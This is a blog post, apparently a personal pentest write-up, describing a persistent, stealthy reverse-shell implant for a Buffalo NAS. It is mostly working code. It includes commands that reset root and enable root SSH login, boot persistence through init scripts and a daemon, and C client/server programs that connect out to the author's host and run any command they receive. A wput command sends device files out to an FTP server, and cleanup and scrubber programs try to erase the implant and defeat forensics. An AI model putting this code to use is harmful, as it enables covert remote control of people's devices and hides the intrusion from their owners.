Pentest NAS device (Reverse Shell)

I was playing around with a Buffalo network attached storage device and wrote a fairly complex reverse-shell exploit which circumvents certain security features through known exploits and overcomes network address translation problems. It gave me remote access to the Buffalo’s Linux console with root privileges.

Root access was required in order to access all files such as /etc/rc.d/rc2.d and commands such as chmod. I reset the admin password to ‘password’ by restoring to factory settings and used acp_commander which exploits a known vulnerability allowing the admin user to change the root password.

[code language=”bash”]
java -jar acp_commander.jar -t $LS_IP -ip $LS_IP -pw password -c “(echo adpass;echo adpass)|passwd”
java -jar acp_commander.jar -t $LS_IP -ip $LS_IP -pw password -c “sed -i ‘s/UsePAM yes/UsePAM no/g’ /etc/sshd_config”
java -jar acp_commander.jar -t $LS_IP -ip $LS_IP -pw password -c “sed -i ‘s/PermitRootLogin no/PermitRootLogin yes/g’ /etc/sshd_config”
java -jar acp_commander -t $LS_IP -ip $LS_IP -pw password -c “/etc/init.d/sshd.sh restart”
[/code]

I was then able to use SCP to transfer files to the buffalo and SSH for command-line access. This was restricted to local networks since the buffalo uses NAT, preventing external servers from connecting to it.

N.B – Since the buffalo used an ARM chip with its own instruction set I couldn’t use the GNU gcc compiler, but instead used arm-none-linux-gnueabi-gcc -mcpu=arm946e-s -o <file_name> <file_name>.c. I made a simple helloworld.c program to verify the correct functionality of the code. I had a look at the ARM-linux libraries C:Program FilesCodeSourcerySourcery G++ Litearm-none-linux-gnueabilibc but they weren’t needed.

In order to resolve the NAT problem, I had the buffalo-side application execute automatically on start-up and try to connect to my external server.

I wrote a shell script

[code language=”java”]
#!/bin/sh /root/.service &
[/code]

In the directory /etc/rc.d/init.d/run_client.sh, and made it globally executable.

[code language=”bash”]
chmod a+x run_client.sh
[/code]

I then made a link name in the directory /etc/rc.d/rc2.d/S50run_client.sh.

[code language=”bash”]
ln -s /etc/init.d/run_client.sh /etc/rc.d/rc2.d/S50run_client.sh
[/code]

This meant that at run level 2 during boot run_client.sh would be executed, opening client.exe in a new process. The ‘S’ in the program link name denotes that the program should be started. ‘K’ would denote it should be killed (often used in rc0.d during system halt). The number ‘50’ is the sequence number, denoting the order in which the links should be executed.

I developed an alternative method of executing the client program at start-up using a Daemon. The modified Daemon template that I used is found below1:

[code language=”cpp”]

#include <sys/types.h>
#include <sys/stat.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>
#include <string.h>

#define EXIT_SUCCESS 0
#define EXIT_FAILURE 1

static void daemonize(void){
pid_t pid, sid;

if ( getppid() == 1 ) return; //checks if already a Daemon
pid = fork(); //to execute child process

if (pid < 0) {
exit(EXIT_FAILURE);
}

if (pid > 0) {
exit(EXIT_SUCCESS); //exits parent process if process ID acquired
}

umask(0); //change file mode mask
sid = setsid(); //creates new sid for the child process

if (sid < 0) {
exit(EXIT_FAILURE);
}

/* Change the current working directory. This prevents the current
directory from being locked; hence not being able to remove it. */

if ((chdir(“/”)) < 0) {
exit(EXIT_FAILURE);
}

freopen( “/dev/ttyS0”, “r”, stdin); // Redirect standard files to /dev/null
freopen( “/dev/ttyS0”, “w”, stdout);// This makes Daemon more stealthy
freopen( “/dev/ttyS0”, “w”, stderr);
return;
}

int main( int argc, char *argv[] ) {
daemonize();

/* This is where the code in section 3 was placed*/
return 0;
}
[/code]

This method is preferable since standard files are redirected to /dev/null for increased discreteness. The init process executes all Daemons, so this template checks if it is already a Daemon by seeing if it was called by init. In that regard, the previous method of executing on boot-up creates a Daemon since init executed it in a new process.

This avoids NAT since the server doesn’t need to reach out to connect to the NAS but the buffalo connects, so a virtual connection is established with no need for the server to know how the buffalo’s local network’s address translation system works.

I developed a client-server program to test the ability of the NAS to communicate to external servers using two simple Python scripts.

[code language=”python”]

#client.py
import socket, sys, os, time
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host = “kanga-tjb2g11.ecs.soton.ac.uk”
port = 7921
address = (host,port)
s.bind(address)
s.listen(1)
conn,addr = s.accept()
data=conn.recv(10000)
print data #os.system(data)
while 1:
command = raw_input()
conn.send(command) #sends command back to server
conn.close()
s.close()

#server.py
import socket, sys, os, time
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
host= “kanga-tjb2g11.ecs.soton.ac.uk”
port = 7921
s.connect((host,port))
command = “connected”
s.send(command) #sends command to buffalo
time.sleep(1)
data=s.recv(10000)
print data
s.close()
[/code]

This simply demonstrated that a simple socket connection was possible, providing the client connects to the server (to avoid NAT problems). This Python program had some problems in that it was available as plaintext to the user and required a python interpreter.

In order to control the buffalo with maximised unobtrusiveness, I used a C-based client-server2 architecture whereby the client (on the buffalo) when executed, created a socket and connected to the server  which is already listening for the buffalo on port 7921. This allowed me to send strings over the socket which were executed on the buffalo using the system(command) command. This effectually gave me complete control of the buffalo.

[code language=”cpp”]

/************ client.c ************/
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>

int main(int argc, char *argv[]) {
int sockfd;
int len, rc;
struct sockaddr_in address;
int result;
char command[1500]; //string for the command
int flag = 0;
sockfd = socket(PF_INET, SOCK_STREAM, 0); //socket for client.
if (sockfd == -1) {
perror(“Socket create failed.n”);
return -1;
}

//socket
address.sin_family = AF_INET;
address.sin_addr.s_addr = inet_addr(“kanga- tjb2g11.ecs.soton.ac.uk”);
address.sin_port = htons(7921);
len = sizeof(address);
result = connect(sockfd, (struct sockaddr *)&address, len);
if(result == -1){
perror(“Error has occurred”);
exit(-1);
}
while (1) {
//Read and write via sockfd
if (rc == -1) break;
read(sockfd, command, 1024);
if (strcmp(command,”del”) == 0) {
system(“./.cleanup.out .buffalo”);
flag = 1; // program exits before being deleted
break;
}
if(!flag) system(command);
}
close(sockfd);
exit(0);
}
[/code]

The client program declares the family, address and port of the socket, connects to the address and waits in an infinite loop for commands. When it gets a command it executes it using system(command). If the command is ‘del’ it deletes itself using ./cleanup (explained in section 4); breaks the loop; closes the socket and exits.

[code language=”cpp”]

/************ server.c ************/
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>

int main(int argc, char *argv[]){
int server_sockfd, client_sockfd;
int server_len;
int rc;
unsigned client_len;
struct sockaddr_in server_address;
struct sockaddr_in client_address;
char command[1500];

//Remove any old socket and create an unnamed socket for the server.
server_sockfd = socket(AF_INET, SOCK_STREAM, 0);
server_address.sin_family = AF_INET;
server_address.sin_addr.s_addr = htons(INADDR_ANY);
server_address.sin_port = htons(7921);
server_len = sizeof(server_address);
rc = bind(server_sockfd, (struct sockaddr *) &server_address, server_len);
printf(“RC from bind = %dn”, rc );
rc = listen(server_sockfd, 5); // wait for clients
printf(“RC from listen = %dn”, rc );
client_len = sizeof(client_address);
client_sockfd = accept(server_sockfd, (struct sockaddr *) &client_address, &client_len);
printf(“after accept()… client_sockfd = %dn”, client_sockfd);

while(1){
printf(“Command:”);
scanf(” %[^n]s”,command);
write(client_sockfd, command, 1024);
//if command is “del” waits 5 sec to make sure the other
//side received the message and ends the program
if (strcmp(command,”del”) == 0) {
sleep(5);
break;
}
}
printf(“server exitingn”);
close(client_sockfd);
return 0;
}
[/code]

The server program creates a socket as the client does; binds the server socket to the server address and creates a connection queue (length 5) to wait for clients. In the infinite loop it provides an interface to the ‘command’ string and sends it to the client. After sending ‘del’ it closes after a short delay to ensure the command is sent.

In order to observe the output of a command or the contents of a file I can use a wput, scp or ssh command from the buffalo (can be done since NAT only affects outside connections to buffalo). For example the following command sends the processes currently running on the buffalo to my server:

[code language=”bash”]

wput −−proxy-user=user −−proxy-pass=<my_password> /root/file.txt ftp://kanga-tjb2g11.ecs.soton.ac.uk

[/code]

N.B I had to compile and install wput from source, but could equally use pre-installed alternatives.

Which I can easily view using vim /root/file.txt on the server. The output of commands such as vim, ls –l, cat and … | grep <search_string> etc can be sent in a similar way. Files and shell scripts can be downloaded using wget. This demonstrates precisely how I have complete control over viewing the files on the NAS and executing commands, all with a great deal of subtlety.

Unobtrusiveness has been key to the way I’ve developed my system. I used C for the client program in order to prevent the code being readable. I renamed client.exe to service.exe in order to minimise suspicion and hid it using .serivce.exe to prevent it showing up by ls –a.

I used a Daemon to execute it at boot-up and to re-direct standard in/out/err to /dev/null to prevent the user from observing anything that could be related to it. The only way a Daemon can be observed is by noticing an abnormal process running using ps, by carefully monitoring traffic on registered port 7921 (no reason why user might monitor it) or by checking for open ports using nmap.

In addition I used a short program3 which deletes ./client and writes random bits to the memory to make tracing the attack back to me difficult. It executes when the string ‘del’ is received from server.

[code language=”cpp”]

/************ cleanup.c ************/
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#define MYANME cleanup.out
#define SCRUBBER_NAME ./scrubber.out

int main(int argc,char* argv[]){
int i;
for(i=0;i<argc;i++){
unlink(argv[i]);
}
system(“./scrubber.out”);
unlink(“cleanup.out”);
}

/************ scrubber.c ************/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc,char**argv)
{
FILE* myFile;
do{
myFile = tmpfile();

//makes 1 kilobyte array of random numbers
int arraySize = 1024/sizeof(int);
int array[arraySize];
int i;
for(i=0;i<arraySize;i++)
{
array[i] = rand();
}
fwrite(array,sizeof(int),arraySize,myFile);
}while(myFile != NULL);
unlink(“scrubber.out”);
return 0;
}

[/code]

It does this by unlinking ./client (and any other files passed as arguments) from the file system (allowing it to be overwritten) and executing scrubber.out. This generates an array of size 1024 bytes and writes it to the space in memory starting at the pointer to ./client until the source file is completely overwritten (i.e. myFile == NULL). It then unlinks scrubber.out, returns to ./cleanup and unlinks it leaving no files remaining and only the clean-up programs not being overwritten. This prevents the reverse engineering of the code/junk bits left over after deleting, which can be used to obtain the name of my server.

In conclusion, I have achieved the development of an unobtrusive yet powerful exploit of the NAS device; overcoming root access restrictions; avoiding NAT problems and all while removing any trace of malicious activity at a simple ‘del’ from the server.

I’d like to automate the process of outputting the response of the buffalos commands by sending the result to the server with every command and having the service-side program display the content of that file when changed. I would also like to have scrubber.c overwrite ./client more times (>8) in order to prevent any kind of digital forensics/reverse engineering being able to trace it back to my server. I will make the socket use port 80 so that it looks like it’s just using TCP/IP when port scanning.

By | 2018-04-04T16:30:53+00:00 December 23rd, 2015|0 Comments

Leave A Comment